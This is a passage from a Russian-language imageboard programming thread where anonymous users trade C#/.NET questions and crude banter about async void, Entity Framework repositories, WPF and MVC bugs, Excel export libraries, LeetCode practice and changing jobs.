В новых версиях винды они что-то намутили с таймерами и поэтому везде где они используются надо вручную вызывать это.
Большинство игрушек которые написано давно не имеют подобного и поэтому на новой винде как бы "плывут". Плюс куча тестового софта которые используют твой thread.sleep для тестов и рассчитывают на менее чем 15-30 мс (на многих системах не твои 15-16 мс выдает, а 30-35 мс) проваливаются и вводят разработчиков в недоумение.
Есть грязный хак сделать таймер в 1 мс для всей системы, это своего рода фикс для таких приложений без их переписывания.
>>780962
Предположим ты хочешь хранить состояние программы между запусками и вот такая коллекция с хэшами от строк сломает тебе все приложение и повезет если сразу сломает.
Вполне может произойти такая ситуация что лишь 1 хэш на 1000 изменится и ты не будешь понимать что за чертовщина твориться и откуда вылезают баги.
Не говоря уже о том что это поведение изначально крайне нестабильно и не зависит от тебя, в minor версиях может меняться алгоритм и в результате в тебя в один момент времени коллизии на 100_000, через пару дней после обновления станет 30_000. И никак на это повлиять ты не можешь.
В одном случае нужна винда, в другом нет.
В первом случае фреймворк старый, во втором - пилится каждый день и планы еще на несколько лет вперёд.
> вот такая коллекция с хэшами от строк сломает тебе все приложение и повезет если сразу сломает.
Так я тебе и говорю, что ничего не сломает. Одинаковые хэши только замедлят выбор нужного элемента из коллекции, потому что все они будут в одной корзине, т. е. нужно будет перебрать все ключи и сравнить их с запрошенным ключом. Именно поэтому сравнение строк идёт не по ссылке, а по значению.
Зависит от того где отображается и что делает библиотека. Мысли читать не умею, извини.
Так выбор не велик вроде. Для .net core нет нормальных обфускаторов, все заточены только под .net 4.5
Объясните пожалуйста почему в 6 строке в выводе будет false?
Или отправьте что почитать по этому поводу.
Буду благодарен.
Потому что когда ты делаешь cast из string в object, то сравнивается ссылка, а ссылки у этих переменных разные.
https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/statements-expressions-operators/equality-comparisons
ВОПРОС
Есть ли предметные области, которые скрещивают эти вещи? Или вообще любой разраб должен знать методы защиты и применять их? А может блокчейн является этой панацеей?
Короче не игнорьте плз, буду очень благодарен за ответ нубу (опыт работы если что есть, 3 года, просто два из них это Си а год юнити)
>два из них это Си
>год юнити
>нравится криптография
>и понял что си шарп топ язык ваще
чухня подзалупная, проиграл с подливой с мамкиного разработчика
да да да, ты такой умный и успешный, мы все поняли. Иди выпей таблетки и иди поспи
В XAML описан так:
<ComboBox x:Name="SelectStreets" Loaded="SelectStreets_Loaded" HorizontalAlignment="Left" Margin="109,147,0,0" VerticalAlignment="Top" Width="176" IsEditable="True"/>
Вот есть функция загрузки
private void SelectStreets_Loaded(object sender, RoutedEventArgs e)
{
SelectStreets.ItemsSource = nameStreet;
SelectStreets.SelectedIndex = 0;
}
nameStreet - это просто член базового класса типа List:
List<string> nameStreet = new List<string>();
nameStreet заполняется при запуске, в конструкторе окна перед вызовом InitializeComponent();
ВОПРОС - почему когда я первый раз щелкаю по этому выпадающегому списку - он на 2-3 секунды зависает? Второй и дальше клики уже нормально. Именно на первом. Как будто он список загружает в момент первого клика. Но опять же - там не больше 200 записей, что там тормозит?
XAML - https://pastebin.com/gM4VwNV0
Код - https://pastebin.com/YvnucTQg
Анон, что сделать чтобы не было такой задержки при первом клике по выпадающему списку?
Ещё немного навыков: SignalR, postgresql, git, gitlab, понимание Docker(как запустить).
Какие-то другие навыки и опыт тоже приветствуются. Писать в телегу @RandomZTN
ЗП 300-900 р/ч(уже на руки после вычета налогов) в зависимости от уровня. Желательно фултайм.
искать на дваче? Ты ебонулся? Ты бы еще на вокзале к бомжам подошел и начал расказывать, какой у вас проект и кто вам нужен
Иногда из такого говна можно найти бриллиант, так что норм, может кто толковый напишет
да ты проскроль вверх, что в постах - WPF/WF, TCP клиенты. Я когда то был на собесе - собеседовали 2 дева (как я понял тим лид и сеньер). Так вот я пизданул, что когда то был опыт разработки на WPF (хотя приходил на Core) - делал парсер тредов двача, так один из них улыбнулся ехидно типо "Ооо, двач" и шепнул что то второму на ухо (наверное что то типо "О бля, прон видать качает там"). Так вот я прошел собес на 10/10 - ответил на все развернуто, поулыбался (софт скилы типо), опыт был хороший. И знаешь что? Мне никто не перезвонил. Так что еще раз повторюсь - лучше бомжей с вокзала поспрашивай, там ты скорее бриллиант найдешь, чем тут
это $4-12 - дно какого ни будь Upwork или freelancer.com. Только там ангельский знать нужно, а тут походу русиш_компани_и_ко. Поэтому по оплате мне кажется все справедливо
На апворке минимальный рейт 15 долларов в час, чтобы индусы не сбивали до 0
Что быстрее зависит от размера объекта, если объект не большой, то выгоднее делать его значимым типом, если большой то выгоднее делать структурой. Также важно так как ты его используешь, если часто передаешь в разные методы, то выгоднее делать ссылочным типом, так как в случае с значимым типом каждый раз будет создаваться копия объекта, а в случае с ссылочным только копия ссылки. Можно конечно передавать значение по ссылке, но это наклаыдывает определенные ограничения, например асинхронные методы не принимают ref параметров.
Остальное здесь прочитать можно:
>>784198
спасибо, буду знать
https://pastebin.com/5W6cH6HV
>У меня два вопроса: есть ли другие способы вернуться к началу и можно ли использовать goto в switch-case ?
>пикрелейтед
https://www.youtube.com/watch?v=rtXpYpZdOzM
Тут тебе всё разжуют и по полочкам разложат. И чтобы я такой фигни как DTO больше от тебя не слышал, ок?
Ты видел использование репозитория в крупных проектах?
Пишешь репозиторий, пишешь сущности для него, если надо работать с двумя репозиториями одновременно, начинаешь дрочить вприсядку, попутно въебывая тонны кода в свой проект, а логику еще даже не начинал писать. При том, что еф уже представляет хороший уровень абстракции
Очень приятно прописывать все эти сущности, тут я согласен. Как бы занят делом, а по факту бойлерплейт ручками прописываешь и думаешь – о, ебать, вот это я прогрессивный программист, не хуйней, а важным делом занят
Щас бы видосики смотреть по пол часа, чтоб узнать то, что можно было бы прочитать текстом за пять минут.
>>785283
Я тут проспался и решил использовать интерфейсы для сущностей. Т.е. из репы будут торчать IAnimal, а возвращаться AnimalEntity : IAnimal, который используется в дбконтексте. Просто меня напрягает то, что репа может вернуть объект с непрогруженными навигационными свойствами.
Мда, я похоже проебался с терминjлогией. Я скорее имел ввиду сервис, чем репозиторий.
Как это организовать?
Просто пользователь может сделать while(true) или thread.sleep(100000) и мне нужно чтобы этот код умирал через указанное мной время.
Запусти его в отдельном треде. Если не вернет управление в заданное время, то делай треду Abort.
>Ты видел использование репозитория в крупных проектах?
У нас используется в проектах с несколькими миллионами запросов в день и более 1кк строк кода в каждом из проектов.
const int timeoutInMs = 2500;
var cts = new CancellationTokenSource();
cts.CancelAfter(timeoutInMs);
YourMethod(cts.Token);
void YourMethod(CancellationToken token) {
if (token.IsCancellationRequested) {
return
}
}
https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/concepts/async/cancel-async-tasks-after-a-period-of-time
public class ForDataGridView
{
public string Колонка1{ get; set; }
public string Колонка2{ get; set; }
public string Колонка3{ get; set; }
public string Колонка4{ get; set; }
}
Есть массив.
List<ForDataGridView> data = new List<ForDataGridView>();
И когда я наполняю его данными и делаю так.
dataGridView1.DataSource = data;
То всё пиздато, кроме 1 - я не могу сортировать столбцы по нажатию на хедер. Как включить сортировку?
XAML - https://pastebin.com/gM4VwNV0
Код - https://pastebin.com/YvnucTQg
Анон, что сделать чтобы не было такой задержки при первом клике по выпадающему списку? (если у вас нет задержки, увеличьте размер листа)
Ну должно же быть решение
Текущее решение, т.е. доступен для любого класса который находится в рамках текущего решения.
>async перед void
>Use of async void in Core applications is ALWAYS bad. Avoid it, never do it. Typically, it's used when developers are trying to implement fire and forget patterns triggered by a controller action. Async void methods will crash the process if an exception is thrown.
Проиграл с дебила, который любой текст найденный в интернете воспринимает как религиозный фанатик священное писание.
Проиграл с дебила, который потом получит AggregateException в лицо вместо нормального.
Прикол интернета в том, что тут очень легко обобщать.
Я на работе коллегам говорю: нельзя просто так брать и лепить что-либо найденное в интернете в проект as-is. Надо всегда проверять и подгонять под конкретное решение.
Однако анон в интренете заявляет что я прям "любой текст" и прям "как священное писание" воспринимаю.
Относительно async void.
Спорить не только можно, но и нужно о многих вещах. В споре, говорят, истина рождается. Но есть вещи, о которых спорить вредно. Например, "полезно ли прыгать с крыши 9го этажа?" или "хорошо ли это приставлять заряженный, рабочий пистолет к чьей-либо голове?". Можно сколько угодно философствовать и словоблудить, особенно на кухне и с банкой пива. Но в рабочее время ты только зря будешь отнимать время у людей.
async void не должен быть использован в проде. Вместо него надо использовать async Task.
Так я и спрашиваю, в чём разница. Почему перед войдом нельзя помещать асинк, а перед таском можно.
Буквально скролл на один экран вверх и там объяснение (цитата) от одного из разработчиков дотнета. И вообще это гуглится легко.
Ага, давай, запили асинхронный обработчик нажатия на кнопку в WPF, например, возвращая Task.
>>786731
Асинхронные обработчики всегда создаются с возвращаемым типом void;
Зачем мне возвращать таск, если я нигде не ловлю эксепшн и запускаю метод, который будет работать на протяжении жизни всего приложения, либо когда определенное условие не выполнится? Т. е. если в этом методе есть исключение, то я ожидаю, что приложение закончит свою работу, потому что иначе в работе приложения нет смысла;
Зачем мне подавлять предупреждения о том, что CS4014( call is not awaited), если я хочу void метод, но делают Task только потому что долбоеб с двача прочитал статью в интернете и воспринял её как догму вида ответа на вопрос "полезно ли прыгать с крыши 9го этажа?"?
Можно только посочувствовать проду в котором ты участвуешь/будешь участвовать, потому что в проде люди как раз должны отдавать себе отчет в том, почему у async void именно такое поведение, и где можно использовать async void, а где лучше использовать async Task. Умозаключение "никогда не использовать async void" полезно только если ты начинающий программист, который пока не знает всех тонкостей работы.
ой блин я вообще слепой, забыл убрать else, полчаса сука думал тупил в экран
Анон, тут вопросец. Обычно такие вакансии подразумевают что я должен быть безработным (иначе не трудоустроить по нормальному)
А как быть, если я фултайм работаю в офисе, и вообщем меня устраивает. Но захотелось чего-нибудь нового, так как достиг потолка (6 лет тут сижу).
Но боюсь остаться у разбитого корыта и уволиться с текущей, и при этом не пройти собесы (я практик, я умных книжек не читал), или пройти, но попасть на галеру с задержками низкой зарплаты и переработками. Я еще живу в мухосрани - тут не получится каждый день ходить по офисам и искать идеал. Что есть - там и работать.
Но я дохуя молодой - после работы на которой не особо и устаю я еще спокойно свои проекты в стол кодю по 6-8 часов. Так есть такие варианты, в которых все официально, но по договору там или сдельно. И как их искать?
Но не фриланс, где надо дохуя времени просижывать на биржах в поисках удачи. А именно работать на одну фирму.
(я как-то спрашивал у одной hr - написала что нельзя, только увольяешься и идешь к ним на собес. по другому никак)
> увольняешься
> и идешь на собес
> по другому никак
Хахахахаха, блядь, вот кора. Не иди туда анон, вбрось эту херку в тред
Вопрос в другом. Как не пролететь (да, я пессимист).
Ведь даже если я пройду собес, ни разу не означает что я не вылечу на первом испытательном месяце и останусь вообще ни с чем и без денег.
Хотя увольнение - тоже проблема, я должен найти сменщика и обучить его (и не собираюсь никого кидать), то есть увольнение займет еще год - я должен иметь гарантию что через год я не окажусь на улице из-за того что "не тяну или не программист"
>>788414
>Как не пролететь
Быть хорошим специалистом, очевидно.
>(да, я пессимист)
Ты еще даже проходить не начал собес, а уже говоришь о том, что будешь работать несколько месяцев и не подойдешь. Пессимизмом тут и не пахнет.
> я должен найти сменщика и обучить его
В своей шаражке может и должен, в нормальных компаниях ты просто предупреждаешь заранее и уходишь через 2 недели.
В общем, если ты сомневаешься, значит тебе недостаточно профессиональных навыков. Прокачивай их и проблем с устройством на работу не будет. А для того чтобы быть готовым к собесу, достаточно решать 1-2 задачи с литкода уровня медиум каждый день.
Есть вьюмодел:
public class AdminVoteViewModel
{
[Required]
[Display(Name = "Название голосования")]
public string NameVote { get; set; }
[Required]
[Display(Name = "Варианты ответов")]
public string[] Answers { get; set; }
[Required]
[Display(Name = "Название компании")]
public int CompanyId { get; set; }
[Display(Name = "Название компании")]
public IEnumerable<SelectListItem> Companies { get; set; }
[Required]
[Display(Name = "Участники, не принимающие участие в голосовании")]
public string[] SelectedUserEmails { get; set; }
[Display(Name = "Список участников голосования")]
public IEnumerable<SelectListItem> UserEmails { get; set; }
[Required]
[Display(Name = "Куратор")]
public string CuratorEmail { get; set; }
[Display(Name = "Список кураторов")]
public IEnumerable<SelectListItem> CuratorEmails { get; set; }
}
Есть два метода Create на гет и пост:
public ActionResult CreateVote()
{
AdminVoteViewModel model = new AdminVoteViewModel();
var usersKomitee = db.Users.Where(x => x.IsHR == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
var usersCurator = db.Users.Where(x => x.IsCurator == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
model.Companies = new SelectList(db.Companies, "Id", "Name");
model.UserEmails = new MultiSelectList(usersKomitee, "Email", "FullName");
model.CuratorEmails = new SelectList(usersCurator, "Email", "FullName");
return View(model);
}
Вот вью:
@using (Html.BeginForm())
{
@Html.AntiForgeryToken()
<div class="form-horizontal">
<h4>AdminVoteViewModel</h4>
<hr />
@Html.ValidationSummary(true, "", new { @class = "text-danger" })
<div class="form-group">
@Html.LabelFor(Model => Model.NameVote, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.EditorFor(Model => Model.NameVote, new { htmlAttributes = new { @class = "form-control" } })
@Html.ValidationMessageFor(Model => Model.NameVote, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(Model => Model.Answers, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
<div id="answers-block">
@Html.Editor("Model.Answers[0]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[1]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[2]", new { htmlAttributes = new { @class = "form-control" } })
</div>
<p><a class="add-answer-Link">Добавить новый элемент</a></p>
<!--@Html.EditorFor(Model => Model.Answers, new { htmlAttributes = new { @class = "form-control" } })-->
@Html.ValidationMessageFor(Model => Model.Answers, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(model => model.CompanyId, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CompanyId, Model.Companies, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CompanyId, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(model => model.CuratorEmail, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CuratorEmail, Model.CuratorEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CuratorEmail, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(model => model.SelectedUserEmails, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.ListBoxFor(model => model.SelectedUserEmails, Model.UserEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.SelectedUserEmails, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
<div class="col-md-offset-2 col-md-10">
<input type="submit" value="Create" class="btn btn-default" />
</div>
</div>
</div>
Не передается модель из вью в контроллер по пост запросу. Чего не так, не понимаю?
Есть вьюмодел:
public class AdminVoteViewModel
{
[Required]
[Display(Name = "Название голосования")]
public string NameVote { get; set; }
[Required]
[Display(Name = "Варианты ответов")]
public string[] Answers { get; set; }
[Required]
[Display(Name = "Название компании")]
public int CompanyId { get; set; }
[Display(Name = "Название компании")]
public IEnumerable<SelectListItem> Companies { get; set; }
[Required]
[Display(Name = "Участники, не принимающие участие в голосовании")]
public string[] SelectedUserEmails { get; set; }
[Display(Name = "Список участников голосования")]
public IEnumerable<SelectListItem> UserEmails { get; set; }
[Required]
[Display(Name = "Куратор")]
public string CuratorEmail { get; set; }
[Display(Name = "Список кураторов")]
public IEnumerable<SelectListItem> CuratorEmails { get; set; }
}
Есть два метода Create на гет и пост:
public ActionResult CreateVote()
{
AdminVoteViewModel model = new AdminVoteViewModel();
var usersKomitee = db.Users.Where(x => x.IsHR == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
var usersCurator = db.Users.Where(x => x.IsCurator == true).Select(
x => new UserViewModel
{
Email = x.Email,
FullName = x.FullName
}
);
model.Companies = new SelectList(db.Companies, "Id", "Name");
model.UserEmails = new MultiSelectList(usersKomitee, "Email", "FullName");
model.CuratorEmails = new SelectList(usersCurator, "Email", "FullName");
return View(model);
}
Вот вью:
@using (Html.BeginForm())
{
@Html.AntiForgeryToken()
<div class="form-horizontal">
<h4>AdminVoteViewModel</h4>
<hr />
@Html.ValidationSummary(true, "", new { @class = "text-danger" })
<div class="form-group">
@Html.LabelFor(Model => Model.NameVote, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.EditorFor(Model => Model.NameVote, new { htmlAttributes = new { @class = "form-control" } })
@Html.ValidationMessageFor(Model => Model.NameVote, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(Model => Model.Answers, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
<div id="answers-block">
@Html.Editor("Model.Answers[0]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[1]", new { htmlAttributes = new { @class = "form-control" } })
@Html.Editor("Model.Answers[2]", new { htmlAttributes = new { @class = "form-control" } })
</div>
<p><a class="add-answer-Link">Добавить новый элемент</a></p>
<!--@Html.EditorFor(Model => Model.Answers, new { htmlAttributes = new { @class = "form-control" } })-->
@Html.ValidationMessageFor(Model => Model.Answers, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(model => model.CompanyId, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CompanyId, Model.Companies, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CompanyId, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(model => model.CuratorEmail, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.DropDownListFor(model => model.CuratorEmail, Model.CuratorEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.CuratorEmail, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
@Html.LabelFor(model => model.SelectedUserEmails, htmlAttributes: new { @class = "control-label col-md-2" })
<div class="col-md-10">
@Html.ListBoxFor(model => model.SelectedUserEmails, Model.UserEmails, new { @class = "form-control" })
@Html.ValidationMessageFor(model => model.SelectedUserEmails, "", new { @class = "text-danger" })
</div>
</div>
<div class="form-group">
<div class="col-md-offset-2 col-md-10">
<input type="submit" value="Create" class="btn btn-default" />
</div>
</div>
</div>
Не передается модель из вью в контроллер по пост запросу. Чего не так, не понимаю?
Я ещё ни в одной конторе больше 1.5 лет не отработал за 15 лет карьеры. За прошлый год 3 работы сменил и каждый раз с повышением зп. Правда я не в мухосрани живу. Но сейчас проще, чем когда-либо, найти работу удалённо.
Связываешься с работодателем, созваниваетесь, болтаете 30-60 минут вне твоего рабочего времени. Если всё устраивает - тест или онлайн или сразу в офис. С работы можно отпроситься по личным делам на пол дня. Тест онлайн можно и вечером сделать.
Если получил офер и он тебя устраивает, то на прошлой даёшь 2-4 недели окно, в течении которого обещаешь помочь задокументировать и переложить задачи на коллег и вперёд к новым свершениям!
Все равно нулл
Все равно нулл
вообще верный ответ первый так то а не 3
Ебать ты ржаной-гречневый
>Прокачивай их и проблем
И как их прокачивать не работая над реальными задачами в реальных конторах? Я могу решить почти любую задачу, но за мое решение меня наверняка сразу же погонят (эх, вот были времена в девяностые и нулевые, когда можно было хуяк-хуяк и при этом рубить большие деньги. Без всего этого новомодного бреда.. (иногда посматриваю исходники древнего софта выкинутые в опенсурс - да сейчас за такой код даже на джуна не возьмут))
Я забыл сказать, что у меня +10 часовой пояс, то есть в любом случае с московским регионом я могу работать только к вечеру и ночью. Поэтому и спрашиваю про возможность работать и на текущей (утром) и на новой удаленно
Я знаю как строку перевести в число, но почему-то быстрее было настрочить такое.
Возможно и проще, но потом работать с этим кодом уже будет намного сложнее, чем просто можно было написать нормально. Главное потом не полениться, и переписать это говно, а то семья того чела, который это прочитал может подать в суд за доведения человека до роскомнадзора.
Уссурийск и Владивосток нифига не зажопинск. Я сам из Влада.
>И как их прокачивать не работая над реальными задачами в реальных конторах?
Никто не мешает работать над своими проектами и писать в них хороший код. Постоянно освежаешь знания по теории, следишь за нововведениями, также открываешь исходники готовых проектов от хороших разработчиков, изучаешь структуру кода и пытаешься её повторить в своих проектах. Самое сложное это заставить себя работать, поборов лень.
Ну вообще он говорил что работает над своими проектами по 8 часов после работы. Так что явно не ленивый. Проблема самоучек в том, что не знаешь как фильтровать инфу, которой в инете много. А еще дофига "лже пророков" развелось. Насмотришься костылей и пойдешь повторять то же самое в своих проектах, думая что прозрел.
В случае с дотнетом МС за последние 3 года проделали классную работу по структуризации инфы и созданию гайдов того как надо и не надо делать + куча примеров на гитхабе - https://dotnet.microsoft.com/learn
Поэтому прежде чем верить какому-нибудь джамшуту на просторах сети надо сначала официальные гайды пройти.
https://leetcode.com - тут надо проводить по несколько часов в неделю любому уважающему себя программисту. А то развелось кретинов, которые утверждают что знание базовых алгоритмов, структур данных и как считать big O нужны только байтоёбам. И про DFS/BFS только в универе краем уха слышали. Зато потом получаем приложения, которые обычные запросы отрабатывают вместо 2 мс за 10-30 секунд и думают что это норма.
>Ну вообще он говорил что работает над своими проектами по 8 часов после работы.
>он
Не у всех есть модерка, которая позволяет различать посты одного человека.
>Насмотришься костылей и пойдешь повторять то же самое в своих проектах, думая что прозрел.
Поэтому и нужно смотреть не пророков, а реальные проекты. Мне например помогли понять ООП организацию кода .net исходники.
>тут надо проводить по несколько часов в неделю
Достаточно решать 1-2 задачи уровня медиум в день. Часы проводить на этом сайте смысла особого нет, потому что для олимпиадного программирования есть другие сайты, а для работы эти задачи полезны только в плане прохождения собеседования.
Иногда это даже вредно, потому что многие новички начинают экономить на спичках и заниматься преждевременной оптимизацией, в то время как от них требуется написание кода, который поймут другие, а не подсчет наносекунд его выполнения.
У тех, кто алгоритмов в принципе не знает, будут уходить часы на easy задачки. 1-2 medium задачи в день будут выходить в 40 часов в неделю. Поэтому "несколько часов в неделю" для начала очень даже по божески.
Так речь шла уже о работающем аноне, а не новичке-вкатуне. У новичка может и день на медиум задачу уйти, потому что он думает, что подсматривать в ответ нельзя.
Да, решать задачки спортивно, не особо думая о том, для чего ты это делаешь - вредно. Основной бонус зависания на литкоде - это изучение основ:
Data structures
HashMap (Dictionary), HashSet (и вообще понимание того что такое hash и нафига он нужен), arrays, stack, queue, linkedlist (наименее напрямую используемая структура, однако она под капотом каждодневно используемых системных и не очень классов), tree.
Algorithms (операции над структурами данных)
Traverse, find, add, insert, delete.
Особенно полезно всяким жавасриптерам, которые абьюзят свой дофига "магический" array.
Прохождение собеседований - это полезный бонус. Если компания пытается мимикрировать под какой-нибудь гугл, и делает это отвратительно - это не значит что такой подход к собеседованию - гамно, и не имеет практической цели.
Вокруг вас какие-то гениальные разработчики собались. Многие "сеньёры" с 10-20 летним опытом вот эту задачу будут целый день (а то и несколько дней, что вероятнее всего) решать https://leetcode.com/problems/longest-substring-without-repeating-characters/
Но когда ты сам себе судья, то скорее всего быстренько нагуглишь пару решений, подгонишь под себя и будешь гордиться тем, что решил задачу за час. Знаний, правда, не прибавится.
> Зачем мне подавлять предупреждения о том, что есть говно не нужно. то я ожидаю, что хочу есть говно, потому что иначе в в жизи нет смысла;
> опытом вот эту задачу будут целый день (а то и несколько дней, что вероятнее всего) решать
Там даже ограничений на время выполнения нет, какой нахуй день? Эту задачу брутфорсом любой вкатун решит максимум за час.
>этот невнятный всхлип обосравшейся маньки
Ничего, в следующий раз будешь думать перед тем как высерать в тред своё мнение.
Смешно, у тебя там какие-то супер вкатуны.
И да, вот это:
>Но когда ты сам себе судья, то скорее всего быстренько нагуглишь пару решений, подгонишь под себя и будешь гордиться тем, что решил задачу за час. Знаний, правда, не прибавится.
Типичное заблуждение вкатывальщиков или просто глупых людей. Нет смысла сидеть над задачей если у тебя в решении нет никакого прогресса. И решение не нужно гуглить, оно есть к большинству задач и его можно посмотреть сразу, в них также есть пояснения и описание использованного алгоритма. Вот когда ты поймешь решение, а не перепишешь его, тогда ты и получишь пользу. После чего через несколько дней можно вернуться к задаче и решить её самостоятельно.
Ты просто жопу мучаешь, пытаясь сделать эту хуйню через EF. Хуйни процедуру и не еби мозги. Вызовешь процедуру, получишь результат. Изи. Ошибка у тебя в том, что LINQ to Entities не может в Select=>Except(Select). Типо ты мешаешь линк классический с линком, который преобразуется в iqueryable. Есть варианты сделать так, чтобы это говно работало, но оно того не стоит.
Смысл был в том что ваш сеньор перепишет, не поняв решение, и не получит пользу. И даже на переписку этот самый сеньор может целый день затратить, а потом в итоге забить, сказав что он в детские игры не играет.
Я многим сеньорам за несколько лет оттуда простые задачки подкидывал. Решение было сделано либо через несколько дней, либо никогда.
> то видно что в ответ сайт присылает нужный мне json
Кидай через любой REST-клиент такой же запрос как и сайт, получай свой json и работай уже с ним.
> Публичный класс <see cref="MyClass />, реализующий интерфейсы <see cref="ICommentable"/> и <see cref="IUnnecessary"/>
> public сlass MyClass : ICommentable, IUnnecessary
Капитан очевидность? Сюда надо писать зачем нужен твой MyClass и что он делает.
> Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку
Похуй.
мимосеньор
Какие же плюсы блевотные.
Следовательно.
Знакомый, который учил котлин теперь работает в супермаркете грузчиком.
У тебя класс не правильно называется, убери s.
Бтв.
public User GetById(int userId)
{
using var context = new Zalupa();
return context.Users.FirstOrDefault(x => x.Id == userId);
}
Создавай на форме через инициализацию динамически чекбоксы, помещая их в массив. Профет.
нужно - выгружать данные в excel (при этом обязательно в 2010)
Сначала нагуглил Interop.Excel - но он не работает с .net core 3.1 (пишет предупреждение что надо net framework, плюс вылетает ошибка что не найдено приложение. пробовал все версии)
Сейчас заюзал EPPlus, либа понравилась, но мне не нравится платная лицензия. Старая версия с GPL также не подходит - я не могу выкладывать в опенсурс. При этом софтина для коммерческих задач.
Писать свой парсер тоже не вариант, не до велосипеда, да и требования там сложные, нужна готовая либа.
Ну и второй вопрос - что там можно заюзать чтобы строить красивые графики в WPF?
(а да, либа по работе с Excel тоже должна уметь строить графики по данным)
Хуйнёй ты начал заниматься в тот момент когда начал вводить переменную freeId, если тебе нужен порядок в следовании, то вводи новое поле/свойство всех объектов в бд и веди внутренний счетчик, который будет увеличиваться/уменьшаться по мере добавления записей в базу данных.
Не кусок кода, а весь код. Да, без классов, неймспейсов, и даже без Main.
Ну как во всяких там питонах (а еще вернете как было в старом добром бейсике) - просто садишься и ебашишь инструкции без всякого ооп
Как возможности быстро писать программы-утилиты, в которых ооп и не нужен.
Cап,
можно ли просто взять и поменять Target framework проекта c 2.0 на версию 4?
Проблема в том что в текущей версии нет нужных мне refernces, а в 4 они есть.
Ты на каких-то сказочных проектах работаешь. В нормальном проде бизнесу всегда нужно всё вчера и много времени на Tech Debt выделять никто не станет. Если ты сейчас накостыляешь, а потом ещё немного, а потом дедлайн и ещё костылей и говна для заплаток надо принести. И вот через пару лет проект проще выкинуть и начать заново, чем в этом месиве жить.
Вообще когда пишешь код, надо помнить о Теории разбитых окон https://ru.wikipedia.org/wiki/Теория_разбитых_окон
Если у тебя в коде бардак, то очень легко добавить ещё немного мусора, потому что "ну тут же и так уже грязно, подумаешь ещё один фантик брошу". А потом приходит свеженанятый разраб и такой "это надо всё на помойку и начинать писать с нуля".
Так поэтому и делают говнокод, потому что бизнесу всё вчера нужно, ты всё правильно написал. Пока ты там продумыввешь архитектуру, ушлый программист-кабанчик выпускает говнокод в прод, получает повышение и становится тимлидом в другом месте, а тебя называют халтурщиком, который вместо работы тянет время, неся бред про проектирование, поддерживаемость и TDD.
1. Подписался хуй его знает когда (еще в начале лета)
2. Upwork/HH/Freelacer.com, почитай посты студентоты, посмотри тенденции роста и актуальность на рынке
3. Смотри ответ на 2 вопрос, исключи текущий тред
Рост создаёт кто? Мы!
Если ты пойдёшь в жавапидоры, то работодателю ничего не останется, как менять ориентацию и начинать долбиться в жопу и пить смузи.
ну вот простой пример, друг в мск учиться, перешел на 2 курс, работает на полставки в какой-то компании имеет 40к, работа есть, язык не вымрет однозначно, тем более когда готовиться выход .net 5.0
Работаю миддлом, поставлен на проект по интеграции энтерпайзной системы с различным географическими платформами. Де-факто, я работаю один, проект разбросан на несколько языков C++/C#/Python; ядро написано на шарпе.
Собственно, у меня полный контроль над проектом; те, кто работал над этим проектом передо мной либо сломали свои копья и поспешили убраться, либо уже умерли. C#/Python части полностью написаны мной, и даже Аллах не знает, как оно работает кроме меня конечно.
В общем, я сам заднеприводный ОКамлщик по зову сердца, и тут пришла идея в голову, что зачем мне вся эта грязь, весь этот бойлерплейт, вот эти все игрушки дела, когда у Microsoft есть F#, что есть тот же ML и хватит мне как чернь в болоте копаться.
Ядро системы абстрактно и де-факто изолировано от всего быдла энтерпрайзного, кроме того, что часть идёт в COM Component Object Model, но в целом ядро состоит исключительно из логики и различных манипуляций с данными, соответсвенно функциональщина тут в самый раз.
Допустим тимлида я наебал уговорил на осуществление мною перехода на F#, какие подводные о которых надо знать в 2к20 о переписывании с C# на F#?
Никаких, переходи, вообще пофиг как функциональный код клепать. На C# тоже теперь можно функционально изъясняться.
F# не развивается так быстро как C#, и более ограничен. А самый большой камень это добавление 4го языка. Но понятно что тебе просто заняться нечем и похуй на судьбу проекта.
Смотрите, есть один протокол. Упрощенную версию я накидал тут https://ideone.com/miGWUf
Вот. В нем есть классы объектов. У объектов есть атрибуты. У атрибутов есть значения и тип атрибута. Типы довольно примитивные: число, бинарная строка, строка, массив, структура, время. Вот.
Я взял библиотеку которая этот протокол реализует. Ну и в ней значение атрибута хранится в виде строки. При этом сложные типы(массивы, структуры) хранятся в виде xml. Так вот, я хочу для своего решения сделать конвертацию к типам .net'а,
